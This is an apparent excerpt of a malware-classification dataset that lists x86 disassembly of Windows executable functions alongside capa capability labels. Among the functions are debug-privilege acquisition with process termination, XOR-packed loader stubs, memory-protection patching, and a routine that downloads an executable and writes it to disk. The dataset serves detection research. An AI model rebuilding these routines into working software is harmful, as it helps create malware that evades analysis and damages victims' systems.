joyce8/EMBER2024-capa huggingface dataset:
Function at 0x410570
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov edi, ecx
push 1
push str.SeDebugPrivilege
mov dword [esp + 0x14], edi
call fcn.004105f0
mov ebx, dword [esp + 0x20]
add esp, 8
xor esi, esi
test ebx, ebx
jbe 0x4105c7
push ebp
mov ebp, dword [esp + 0x18]
mov eax, dword [esi + ebp]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebx
jb 0x410598
mov edi, dword [esp + 0x10]
pop ebp
push 0
push str.SeDebugPrivilege
call fcn.004105f0
add esp, 8
mov ecx, edi
call fcn.004103b0
mov ecx, edi
call fcn.004103e0
pop edi
pop esi
pop ebx
pop ecx
ret 8

Function at 0x410c30
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x410c00
push eax
push ecx
call fcn.0041992f
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x410cb0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call fcn.0041826e
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x410d1e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call fcn.004212e0
add esp, 8
test eax, eax
jne 0x410cfc
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x410d1e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x410cf4
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x410d07
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
ret

Function at 0x410f10
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x410f5a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x410f5a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x410f77
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x410f77
call fcn.00410d90
pop edi
pop esi
add esp, 0x9c
ret
call fcn.00410d30
pop edi
pop esi
add esp, 0x9c
ret
Function at 0x411170
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x414
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push ebp
push ebp
mov esi, 1
push ebp
push str.Mozilla_4.0__compatible_
mov dword [esp + 0x24], ebp
mov dword [esp + 0x30], ebp
mov dword [esp + 0x28], esi
call dword [0x42e274]
mov edi, eax
cmp edi, ebp
mov dword [esp + 0x20], edi
jne 0x4111b3
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov eax, dword [esp + 0x428]
push ebp
push 0x80000000
push ebp
push ebp
push eax
push edi
call dword [0x42e270]
mov ebx, eax
cmp ebx, ebp
jne 0x4111dd
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x414
ret
mov ecx, dword [esp + 0x42c]
push ebp
push ebp
push 2
push ebp
push ebp
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x18], eax
je 0x41126f
mov ebp, dword [0x42e26c]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x24]
lea edx, [esp + 0x10]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x28]
push 0x400
push eax
push ebx
call ebp
test esi, esi
je 0x411231
cmp word [esp + 0x24], 0x5a4d
jne 0x411258
mov edx, dword [esp + 0x10]
xor esi, esi
lea ecx, [esp + 0x1c]
push esi
push ecx
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x411260
jmp 0x411205
mov dword [esp + 0x14], 0
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x20]
mov esi, dword [0x42e268]
push ebx
call esi
push edi
call esi
mov ecx, dword [esp + 0x14]
xor eax, eax
pop edi
pop esi
test ecx, ecx
pop ebp
pop ebx
setne al
add esp, 0x414
ret
Function at 0x419bbf
Capabilities:
Terminate process

Disassembly:
cmp dword [0x42fb40], 1
jne 0x419bcd
call fcn.0041e69f
push dword [esp + 4]
js 0x419bd2
call dword [eax + 0x68599090]
inc dword [eax]
add byte [eax], al
nop
nop
nop
pop ecx
push 0xff
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x44f000
Capabilities:
Encode data using xor

Disassembly:
inc eax
push 0x44f030
pop edi
mov ebx, 0x6c5d0e34
mov ebx, 0x6c5d0e34
push 0x59c
pop eax
sub edx, 0x34
push dword [eax + edi]
mov esi, 0x6c5d0e34
xor dword [esp], ebx
push 0x6c5d0e34
pop esi
pop dword [eax + edi]
sub eax, 3
dec eax
jne 0x44f017
fdiv qword [ebx + 0x5c]
insb byte es:[edi], dx
xor al, 0xe
pop ebp
insb byte es:[edi], dx
xor al, 0xe
sbb eax, 0x5e70366c
sbb dh, bh
into
pop ecx
insb byte es:[edi], dx
fcmovu st(0), st(3)
pop ecx
insb byte es:[edi], dx
xor al, 0xbc
pop edi
xor eax, 0x386c5d0e
pop ds
insb byte es:[edi], dx
inc edx
bound ebx, qword [edi]
insb byte es:[edi], dx
mov eax, 0x146c1f62
pop edi
insb byte es:[edi], dx
inc eax
bound ebx, qword [edi + 0x6c]
mov esi, 0x386c5f62
pop edi
insb byte es:[edi], dx
inc eax
bound ebx, qword [edi + 0x6c]
mov esi, 0x346c5f62
push cs
pop ebp
insb byte es:[edi], dx
xor al, 0xe
pop ebp
insb byte es:[edi], dx
xor al, 0xe
pop ebp
insb byte es:[edi], dx
xor al, 0xe
pop ebp
insb byte es:[edi], dx
hlt
Function at 0x4029b1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push ebx
push esi
push edi
xor esi, esi
push dword [0x40e460]
push esi
call dword [0x40b06c]
push esi
push esi
push dword [0x40e464]
mov edi, eax
mov dword [ebp - 4], edi
push dword [0x40e450]
call dword [0x40b058]
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push edi
push dword [0x40e450]
call dword [0x40b054]
xor eax, eax
cmp dword [0x40e460], esi
jbe 0x402a14
xor byte [eax + edi], 0x17
inc eax
cmp eax, dword [0x40e460]
jb 0x402a07
push 0x100
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00404a00
mov edi, 0x200
lea eax, [ebp - 0x308]
push edi
push esi
push eax
call fcn.00404a00
add esp, 0x18
lea eax, [ebp - 0x308]
push edi
push eax
push esi
call dword [0x40b050]
test eax, eax
je 0x402b70
lea eax, [ebp - 0x108]
push 0x40d100
push eax
call fcn.00404f60
lea eax, [ebp - 0x308]
push eax
call fcn.00404da0
add esp, 0xc
mov ebx, eax
dec ebx
je 0x402abe
cmp byte [ebp + ebx - 0x308], 0x5c
jne 0x402a75
lea eax, [ebp - 0x308]
push eax
call fcn.00404da0
push 0xfffffffffffffffd
pop ecx
sub ecx, ebx
add eax, ecx
push eax
lea eax, [ebp + ebx - 0x308]
push eax
lea eax, [ebp - 0x106]
push eax
call fcn.00404a60
lea eax, [ebp - 0x108]
push 0x40d0fc
push eax
call fcn.00404f60
add esp, 0x18
push esi
push 0x80
push 2
push esi
push 1
lea eax, [ebp - 0x108]
push 0xc0000000
push eax
call dword [0x40b04c]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x402b70
lea eax, [ebp - 8]
push esi
push eax
push dword [0x40e460]
push dword [ebp - 4]
push ebx
call dword [0x40b068]
test eax, eax
je 0x402b70
push ebx
call dword [0x40b064]
push dword [ebp - 4]
call dword [0x40b060]
push edi
lea eax, [ebp - 0x508]
push esi
push eax
call fcn.00404a00
lea eax, [ebp - 0x508]
push 0x40d0f0
push eax
call fcn.00404f60
add esp, 0x14
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x508]
push eax
call fcn.00404da0
pop ecx
lea eax, [ebp + eax - 0x508]
push eax
call fcn.00404f60
pop ecx
lea eax, [ebp - 0x508]
pop ecx
push 5
push eax
call dword [0x40b098]
lea eax, [ebp - 0x108]
push eax
call dword [0x40b094]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
nop
mov ecx, 0x18f53171
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x63a6766e
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40f720
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4010
call fcn.00494640
mov eax, dword [0x52a394]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x4000
lea eax, [ebp - 0x4004]
mov esi, ecx
push 0
push eax
call fcn.004bff80
add esp, 0xc
mov dword [ebp - 0x4008], 0
test esi, esi
je 0x40f812
lea eax, [ebp - 0x4008]
push eax
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x40f812
cmp eax, 0x3fff
ja 0x40f812
lea ecx, [ebp - 0x4004]
push ecx
push eax
push 0
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x40f812
lea eax, [ebp - 0x400c]
push eax
lea eax, [ebp - 0x4010]
push eax
push 0x516d3c
lea eax, [ebp - 0x4004]
push eax
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x40f812
push 0x208
push 0
push 0x535450
call fcn.004bff80
mov ecx, dword [ebp - 0x4010]
movzx eax, word [ecx + 0xc]
push eax
movzx eax, word [ecx + 0xe]
push eax
movzx eax, word [ecx + 8]
push eax
movzx eax, word [ecx + 0xa]
push eax
push str._d._d._d._d
push 0x103
push 0x535450
call fcn.0040f690
add esp, 0x28
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00493aac
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.00493aac
mov esp, ebp
pop ebp
ret

Function at 0x40f970
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x52a394]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
mov esi, edx
test edi, edi
je 0x40f9ee
test esi, esi
je 0x40f9ee
push 5
push esi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x40f9ee
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0x40
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40f9e8
mov eax, dword [esi]
mov dword [edi], eax
mov al, byte [esi + 4]
mov byte [edi + 4], al
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 5
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40f9e8
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00493aac
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.00493aac
mov esp, ebp
pop ebp
ret
Function at 0x410170
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5205b0
push 0x4bf7e0
mov eax, dword fs:[0]
push eax
sub esp, 0x42c
mov eax, dword [0x52a394]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, edx
mov edi, ecx
mov dword [ebp - 0x43c], esi
mov dword [ebp - 0x438], 0
mov dword [ebp - 4], 0
push 0x200
push 0
lea eax, [ebp - 0x42c]
push eax
call fcn.004bff80
push edi
push str.SYSTEMCurrentControlSetServices_sParameters
push 0xff
lea eax, [ebp - 0x42c]
push eax
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x1c
lea eax, [ebp - 0x438]
push eax
push 0x20219
push 0
lea eax, [ebp - 0x42c]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41028b
mov dword [ebp - 0x434], eax
push 0x210
push eax
lea eax, [ebp - 0x22c]
push eax
call fcn.004bff80
add esp, 0xc
mov dword [ebp - 0x430], 0x210
lea eax, [ebp - 0x430]
push eax
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x434]
push eax
push 0
push str.ServiceDll
push dword [ebp - 0x438]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x41028b
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x107
jge 0x41028b
push 0x107
lea eax, [ebp - 0x22c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov dword [ebp - 4], 0xfffffffe
call fcn.004102bd
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00493aac
mov esp, ebp
pop ebp
ret 4
Function at 0x4103e0
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x5205f0
push 0x4bf7e0
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x52a394]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x44], edx
mov eax, ecx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0
xor edi, edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 4], edi
mov dword [eax], edi
mov dword [edx], edi
lea eax, [ebp - 0x2c]
push eax
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
je 0x410456
cmp dword [ebp - 0x2c], edi
je 0x410456
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x41048e
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x3f0
jne 0x410570
lea eax, [ebp - 0x2c]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x410570
cmp dword [ebp - 0x2c], 0
je 0x410570
mov dword [ebp - 0x30], 0
lea eax, [ebp - 0x30]
push eax
push 0
push 0
push 2
push dword [ebp - 0x2c]
mov ebx, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call ebx
test eax, eax
jne 0x410570
cmp dword [ebp - 0x30], eax
jbe 0x410570
call esi
cmp eax, 0x7a
jne 0x410570
push dword [ebp - 0x30]
call fcn.004c7e0c
add esp, 4
mov edi, eax
mov dword [ebp - 0x38], edi
test edi, edi
je 0x410570
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x30]
push edi
push 2
push dword [ebp - 0x2c]
call ebx
test eax, eax
je 0x410570
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x30]
jne 0x410570
mov dword [ebp - 0x24], 0
mov word [ebp - 0x20], 0x500
lea eax, [ebp - 0x34]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x410570
cmp dword [ebp - 0x34], 0
je 0x410570
xor esi, esi
mov dword [ebp - 0x3c], esi
cmp esi, dword [edi]
jae 0x410570
lea ebx, [edi + esi*8]
push dword [ebp - 0x34]
push dword [ebx + 4]
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x410559
inc esi
jmp 0x41053c
mov eax, dword [ebp - 0x40]
mov dword [eax], 1
mov eax, dword [ebx + 8]
shr eax, 2
and eax, 1
mov ecx, dword [ebp - 0x44]
mov dword [ecx], eax
mov dword [ebp - 4], 0xfffffffe
call fcn.0041059b
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00493aac
mov esp, ebp
pop ebp
ret
Function at 0x412050
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ea3b9
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
push ebx
push esi
push edi
mov eax, dword [0x52a394]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x28], 0
cmp byte [esi + 8], 0
je 0x412093
call fcn.004121e0
mov byte [esi + 8], 0
cmp dword [esi + 4], 0x40000000
jle 0x4120cf
mov eax, dword [esi + 0x24]
cmp eax, 0xffffffff
je 0x4120b4
push eax
call fcn.004c82ac
add esp, 4
mov dword [esi + 0x24], 0xffffffff
cmp dword [esi + 0x20], 8
lea eax, [esi + 0xc]
jb 0x4120bf
mov eax, dword [eax]
push eax
call fcn.004c9a07
add esp, 4
mov ecx, esi
call fcn.004121e0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x24]
mov eax, dword [edi + 0x10]
push 0
add eax, eax
mov dword [ebp - 0x14], 0
push eax
mov dword [ebp - 0x10], 0xf
mov byte [ebp - 0x24], 0
call fcn.00413090
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x28], 1
test edx, edx
je 0x412140
cmp dword [ebp - 0x10], 0x10
lea ecx, [ebp - 0x24]
mov eax, edi
cmovae ecx, dword [ebp - 0x24]
cmp dword [edi + 0x14], 8
jb 0x41211b
mov eax, dword [edi]
push 0
push 0
push edx
push ecx
push dword [edi + 0x10]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push eax
lea ecx, [ebp - 0x24]
call fcn.0040c630
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x10]
lea ebx, [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
cmp eax, 0x10
cmovae ebx, ecx
cmp dword [esi + 0x24], 0xffffffff
je 0x41216c
push edx
push ebx
push dword [esi + 0x24]
call fcn.004c8b50
mov ecx, dword [ebp - 0x24]
mov ebx, eax
mov eax, dword [ebp - 0x10]
add esp, 0xc
jmp 0x41216f
or ebx, 0xffffffff
cmp eax, 0x10
jb 0x41219b
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x412191
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4121d9
push edx
push ecx
call fcn.00493ff7
add esp, 8
test ebx, ebx
jle 0x4121b6
add dword [esi + 4], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
cmp dword [edi + 0x14], 8
jb 0x4121be
mov edi, dword [edi]
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.004c38d4
int3
Function at 0x4121e0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ea3eb
mov eax, dword fs:[0]
push eax
sub esp, 0xbc
mov eax, dword [0x52a394]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x20], 8
lea edi, [esi + 0xc]
lea ebx, [esi + 0x24]
jb 0x41221e
mov edi, dword [edi]
push 0x180
push 0x40
push 0x8101
push edi
push ebx
call fcn.004c9752
add esp, 0x14
mov dword [ebp - 0xc4], eax
test eax, eax
je 0x412347
push 0x98
lea eax, [ebp - 0xa8]
push 0
push eax
call fcn.004bff80
add esp, 4
lea ecx, [ebp - 0xa8]
call fcn.00407970
push str._error.__
push ecx
push edi
push ecx
lea eax, [ebp - 0xa8]
mov dword [ebp - 4], 0
push str.open
push eax
call fcn.00409460
add esp, 0xc
push eax
call fcn.00409460
add esp, 0xc
push eax
call fcn.00409460
add esp, 8
push 0x51786c
push ecx
push dword [ebp - 0xc4]
mov ecx, eax
call fcn.00412f10
add esp, 4
push eax
call fcn.00409460
add esp, 8
lea eax, [ebp - 0xc0]
lea ecx, [ebp - 0xa8]
push eax
call fcn.00412e50
cmp dword [eax + 0x14], 8
jb 0x4122d1
mov eax, dword [eax]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov edx, dword [ebp - 0xac]
cmp edx, 8
jb 0x412318
mov ecx, dword [ebp - 0xc0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41230e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412424
push edx
push ecx
call fcn.00493ff7
add esp, 8
xor eax, eax
mov dword [ebp - 0xb0], 0
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xac], 7
mov word [ebp - 0xc0], ax
mov dword [ebp - 4], 0xffffffff
call fcn.00405cf0
mov eax, dword [ebx]
cmp eax, 0xffffffff
je 0x41235d
push 2
push 0
push eax
call fcn.004c99b9
add esp, 0xc
jmp 0x412360
or eax, 0xffffffff
mov dword [esi + 4], eax
test eax, eax
jne 0x412408
push 3
push 0x517894
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], 0xf
mov byte [ebp - 0xc0], al
call fcn.00408be0
mov eax, dword [ebp - 0xac]
lea edx, [ebp - 0xc0]
mov ecx, dword [ebp - 0xc0]
cmp eax, 0x10
mov edi, dword [ebx]
cmovae edx, ecx
cmp edi, 0xffffffff
je 0x4123d2
push dword [ebp - 0xb0]
push edx
push edi
call fcn.004c8b50
mov ecx, dword [ebp - 0xc0]
mov edi, eax
mov eax, dword [ebp - 0xac]
add esp, 0xc
jmp 0x4123d5
or edi, 0xffffffff
cmp eax, 0x10
jb 0x412401
lea edx, [eax + 1]
mov eax, ecx
cmp edx, 0x1000
jb 0x4123f7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x412429
push edx
push ecx
call fcn.00493ff7
add esp, 8
test edi, edi
jle 0x412408
add dword [esi + 4], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00493aac
mov esp, ebp
pop ebp
ret
call fcn.004c38d4
call fcn.004c38d4
int3
Function at 0x4141d0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ea6f0
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x52a394]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
call fcn.00414580
call fcn.00407360
push dword [eax]
push 0
push str.first_run
push str.Default
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
test eax, eax
jne 0x41431e
call fcn.00407360
mov esi, eax
mov dword [ebp - 4], 0
call fcn.004049b0
mov ecx, eax
test ecx, ecx
je 0x41439a
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push 1
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 1
push 0x517404
push eax
call fcn.0040c770
add esp, 0xc
push dword [esi]
mov esi, dword [ebp - 0x14]
push esi
push str.first_run
push str.Default
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esi, 0xfffffff0
or ebx, 0xffffffff
mov dword [ebp - 4], 2
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x41429c
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
call fcn.00407360
mov esi, eax
mov dword [ebp - 4], 3
call fcn.004049b0
mov ecx, eax
test ecx, ecx
je 0x4143a4
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push 1
lea eax, [ebp - 0x14]
mov dword [ebp - 4], 4
push 0x517404
push eax
call fcn.0040c770
add esp, 0xc
push dword [esi]
mov esi, dword [ebp - 0x14]
push esi
push 0x5174e8
push str.auto_run
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
add esi, 0xfffffff0
mov dword [ebp - 4], 5
lock xadd dword [esi + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x414317
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
call fcn.00414820
mov esi, dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x61a8
push 0x402
push dword [edi + 4]
call esi
push 0
push 0x3e8
push 0x403
push dword [edi + 4]
call esi
push 0
push 0x6ddd00
push 0x401
push dword [edi + 4]
call esi
mov esi, dword [edi + 0x35c]
push 0x6c
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
push eax
push dword [edi + 4]
mov ecx, esi
call fcn.00418780
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00493aac
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.00404780
push 0x80004005
call fcn.00404780
int3